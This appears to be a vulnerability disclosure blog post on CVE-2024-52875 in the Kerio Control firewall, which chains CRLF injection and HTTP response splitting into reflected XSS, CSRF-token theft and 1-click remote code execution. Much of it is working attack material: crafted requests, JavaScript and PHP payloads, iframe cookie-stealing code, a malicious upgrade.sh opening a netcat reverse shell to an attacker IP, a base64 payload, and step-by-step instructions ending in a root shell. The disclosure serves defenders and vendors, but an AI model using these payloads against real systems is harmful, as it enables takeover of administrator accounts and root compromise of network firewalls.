Hacking Kerio Control via CVE-2024-52875: from CRLF Injection to 1-click RCE
- published
- reading time
- 12 minutes
Kerio Control, formerly known as Kerio WinRoute Firewall, is nowadays quite a popular firewall and Unified Threat Management (UTM) product owned and developed by GFI Software: according to Censys, at the moment there are around twenty thousands Kerio Control instances across the Internet!
Kerio Control can be considered a network security solution that manages security services such as intrusion detection (IDS) and prevention (IPS), gateway antivirus, VPN, web content, application filtering, and endpoint security… It’s definitely a software product that treats security as crucial, from any point of view.
I think it is (or at least it should be) always quite challenging to discover security issues within a security product like Kerio Control, and that’s one of the reasons why I thought to take a look at it and search for some new security bugs! π€
Spoiler alert: after the first day of bug hunting, I discovered multiple HTTP Response Splitting vulnerabilities in Kerio Control, affecting versions 9.2.5 β which was released in March 2018 β through 9.4.5. That means we’re dealing with almost seven-year-old security vulnerabilities, which today are also known as CVE-2024-52875 or KIS-2024-07.
The vulnerabilities lie within the following (and possibly other) pages:
- /nonauth/addCertException.cs
- /nonauth/guestConfirm.cs
- /nonauth/expiration.cs
User input passed to these pages via the “dest” GET parameter is not properly sanitized before being used to generate a “Location” HTTP header in a 302 HTTP response. Specifically, the application does not correctly filter/remove linefeed (LF) characters. As such, this can be exploited to perform both Open Redirect and HTTP Response Splitting attacks, which in turn might allow to carry out Reflected Cross-Site Scripting (XSS) and possibly other attacks.
At first sight, I thought these were “Low” severity vulnerabilities, because of the required User Interaction (UI) component: the victim user should be logged into Kerio Control while clicking on a malicious link, and then they should interact with the XSSed page. In other words, I thought successful exploitation would have required N-clicks attacks, that’s why I have initially reported these security issues to GFI Software as “Low” severity…
However, further analysis proved I was wrong, as I realized these vulnerabilities can actually be exploited to carry out 1-click RCE attacks by leveraging a nine-year-old exploit!! For this reason, I reached out again to GFI Software telling them I was wrong, and these should likely be considered High (8.8) severity vulnerabilities to be fixed as soon as possible, specially considering the attacker β in the end β might be able to potentially get a root shell on the firewall!
Vulnerabilities Analysis
Let’s start by identifying the root cause of these vulnerabilities, related to a CRLF Injection bug within the aforementioned pages. If we try to submit a “dest” GET parameter to one of these pages, we will get a response like the following.
Request:
GET /nonauth/guestConfirm.cs?dest=test HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
Response:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 10:50:03 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: ¡ë-
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="¡ë-">¡ë-</a>
Have you already spotted what’s going on? The string “¡ë-” in the response and as value for the “Location” HTTP response header suggests the “dest” GET parameter should likely be a URL encoded in Base64. So, letβs try to encode a random URL in Base64, and resubmit the above HTTP request with such a value.
Request with “http://attacker.website” as payload encoded in Base64:
GET /nonauth/guestConfirm.cs?dest=aHR0cDovL2F0dGFja2VyLndlYnNpdGU= HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
Response:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:03:38 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: http://attacker.website
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="http://attacker.website">http://attacker.website</a>
It works! So, first obvious thing: we can perform Open Redirect attacks… IMHO something not so cool, specially considering this is likely a by-design feature, something “intended”, which is not considered an actual security bug, so let’s keep on testing! If we try to insert CRLF sequences (\r\n) within our payload, we’ll notice they are actually not stripped out from the HTTP response!
Request with “Test\r\nTest” as payload encoded in Base64:
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
Response:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:16:19 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>
It works again! That means CRLF sequences are not correctly filtered/removed, and so we can inject arbitrary HTTP headers into HTTP responses generated by Kerio Control… But what about HTTP Response Splitting attacks? For that kind of attack to work, we should be able to inject two CRLF sequences followed by the (beginning of the) HTTP response body. So, let’s try with the following.
Request with “Test\r\n\r\nTest” as payload encoded in Base64:
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KDQpUZXN0 HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
Response:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:24:20 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>
As you can notice, the double CRLF sequences within the HTTP headers have been ignored, and we still have almost the same response as before (with just one CRLF sequence after the “Location” HTTP header)… Is this the end?! Not yet! Before giving up, I tried to solely submit linefeed (LF) characters, without the Carriage Return (CR), and this did the trick! π
Request with “Test\n\nTest” as payload encoded in Base64:
GET /nonauth/guestConfirm.cs?dest=VGVzdAoKVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close
Response:
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:34:58 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge
If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>
Success!! In this case the HTTP response is successfully “splitted” into one or more messages and, in addition to whatever HTTP header, we can also inject arbitrary data within the HTTP responses' body! For instance, in the above HTTP response, “Location” is the last HTTP header, while the HTTP response body starts from “Test\r\nPragma…” and ends at “Test</a>”.
Vulnerabilities Exploitation
So we are now able to perform an HTTP Response Splitting attack… Let’s try to turn this into a Reflected Cross-Site Scripting (XSS) attack, since we can inject arbitrary HTML tags within the HTTP response body.
The first thing I did was to craft the following HTML page:
<script>
target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
payload = "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>
It worked like a charm on Google Chrome, but not with Firefox… π€ So, I googled a bit and found this blog post from 2020, which basically states it is possible to abuse certain URI schemes to execute XSS payloads within a 302 HTTP response when the victim user is using Firefox.
As such, I modified the above Proof of Concept script in this way:
<script>
target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
payload = (navigator.userAgent.includes("Firefox")) ? "resource://xss" : "";
payload += "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>
And this one worked both with Google Chrome and Firefox:
At this point I decided to reach out to GFI Software to report these findings including the above Proof of Concept script. Only after that, I realized this script will only work when using a proxy tool such as Burp Suite (which I used while testing these vulnerabilities). That’s because of the “Content-Encoding” HTTP header set within the response, which will instruct the browser to use Deflate as a decompression method to decode the HTTP response body β this is automatically done when using Burp.
Notice the “Content-Encoding” header is being set before the “Location” header, which means we can’t just ignore it and we have to deal with it. Well, that’s quite easy: simply encode the payload (or rather, the response body) by using the Deflate algorithm! π
As such, we can rewrite the Proof of Concept as the following PHP script:
<?php
$target = "192.168.123.64"; # IP address / hostname of the Kerio Control instance
$body = "<script>alert('XSS on ' + document.domain)</script>";
$body = zlib_encode($body, ZLIB_ENCODING_DEFLATE);
$payload = (preg_match("/Firefox/", $_SERVER["HTTP_USER_AGENT"])) ? "resource://xss" : "";
$payload .= "\nContent-Length: " . strlen($body);
$payload .= "\n\n{$body}";
header("Location: https://{$target}:4081/nonauth/guestConfirm.cs?dest=" . urlencode(base64_encode($payload)));
?>
Have you noticed this time we also inject a “Content-Length” HTTP header before the body? This is something required, because that way we instruct the browser to read/parse the HTTP response body for N bytes only (ignoring all the rest), where N is specified as value for the “Content-Length” header. If we don’t do that, then the browser will continue to read/parse the body until the end, and we’ll get a response decoding error, because the strings following the injected body are not valid Deflate-encoded data.
Next step was to “weaponize” the Proof of Concept in order to show a real security impact. However, the first drawback I noticed is the following: when a Kerio Control admin user logs into the admin interface the application will provide two cookies, a session ID (SESSION_CONTROL_WEBADMIN) set with the HttpOnly attribute, and a CSRF token (TOKEN_CONTROL_WEBADMIN). Both of them are set with path=/admin/, which means we cannot (?) directly access these cookies (in this case, just the CSRF token) from within a page located under the /nonauth/ directory.
Indeed, if we modify the XSS payload within our Proof of Concept script in order to “alert” the value of document.cookie, we will see an empty alert box. That’s it: document.cookie is just empty when we are on a page under the /nonauth/ directory, and that’s because the cookies are scoped to the /admin/ path only… No worries, a nine-year-old exploit comes to the rescue: it can still be possible to “steal” non-HttpOnly cookies by using an iframe to load a resource (like a JS script) located under the /admin/ directory; once this one is loaded, we can access the cookies through iframe.contentWindow.document.cookie, something like this:
function createIFrame()
{
iframe = document.createElement("iframe");
iframe.src = "https://192.168.123.64:4081/admin/constants.js";
iframe.style.display = "none";
iframe.sandbox = "allow-scripts allow-same-origin";
iframe.onload = function() {
cookie = iframe.contentWindow.document.cookie;
parseAndSaveCookie(cookie);
};
document.body.appendChild(iframe);
}
Cool! So, we are now able to “steal” the CSRF token of our victim admin user and perform any actions on their behalf by abusing the XMLHttpRequest API in our XSS payload. That means we can add new admin users, change passwords of any user, modify firewall settings, and so on… By simply tricking a victim admin user into clicking on a malicious link (1-click attacks)! However, that nine-year-old exploit also mentions an interesting “Remote Command Execution” issue:
The upgrade feature in the admin interface can be used to upload arbitrary files by simply changing a tar file to the extension .img. If a tar file is created which contains a upgrade.sh shell script, this script will be executed with root privileges. Kerio did not provide a fix for the upgrade functionality yet.
Remarkably, after nine years, this “upgrade exploit” still works on the latest Kerio Control version! So, I guess this is a by-design feature, maybe not a real security issue from the vendor’s perspective? Either ways, this is useful to include in our XSS payload, as it might lead to 1-click RCE attacks where the attacker might be able to get a root shell on the Kerio Control instance! π
Here you can find a Proof of Concept script to reproduce this 1-click RCE attack by exploiting CVE-2024-52875 through the XSS vector, and following are the steps to use it:
- Create the upgrade.img file as described in the exploit (by using the attacker’s IP address, let’s say 192.168.123.38):
$ cat upgrade.sh
#!/bin/bash
nc 192.168.123.38 4444 -e /bin/bash &
$ tar czf upgrade.tar.gz upgrade.sh
$ mv upgrade.tar.gz upgrade.img
- Launch the following command to get a Base64 encoded version of the upgrade.img file:
$ cat upgrade.img | base64 -w 0
H4sIAAAAAAAAA+3OMQ6CQBSE4a05xTMmdi77YNnF44ASoCFGJPH4QkzUSitiTP6vmWKmmOncXqpTY8fOrMbNQvBLaizcez6EzKiP6r3GGINxqkVeGHHrXXqZxmt1ETFN298+7b71f2q7Set+SOtq7JLhKHrIrIbSapbbvBQ/k30jz43skl8/BgAAAAAAAAAAAAAAAAAs7g2Pz3gAKAAA
-
Copy this Base64 string into the Proof of Concept script, as value for the $upgrade variable.
-
Set the $target variable to the IP address / hostname of the Kerio Control instance.
-
Copy the Proof of Concept PHP script into the webroot directory of your web server.
-
Open a netcat listener on port 4444:
$ nc -vlnp 4444
Listening on 0.0.0.0 4444
-
The victim admin user logs into the Kerio Control admin interface.
-
Once logged in, the admin user is tricked into opening the Proof of Concept script hosted on the attacker server.
-
Once loaded, the XSS payload will carry out the RCE attack, and the attacker will get a root shell on the netcat listener:
$ nc -vlnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.123.64 47023
id
uid=0(root) gid=0(root) groups=0(root)
- Game over! πΎ
Conclusion
The discovery of CVE-2024-52875 in Kerio Control underscores a critical reality: even products designed with security in mind can harbor significant vulnerabilities. Furthermore, exploiting a seemingly “Low” severity issue like HTTP Response Splitting to achieve 1-click RCE attacks highlights the evolving ingenuity in vulnerability exploitation. It also emphasizes the importance of thorough testing and timely patching, particularly for security software.
While the persistence of a nine-year-old exploit in modern Kerio Control versions is troubling, it serves as a stark reminder for software vendors to continuously reassess and fortify their codebases. For users, it highlights the importance of proactive measures such as applying patches promptly, monitoring for vendor advisories, and ensuring layered defense mechanisms.
Security is a shared responsibility. By disclosing these findings, the goal is to foster awareness and motivate both software vendors and users to act decisively in addressing and mitigating security vulnerabilities.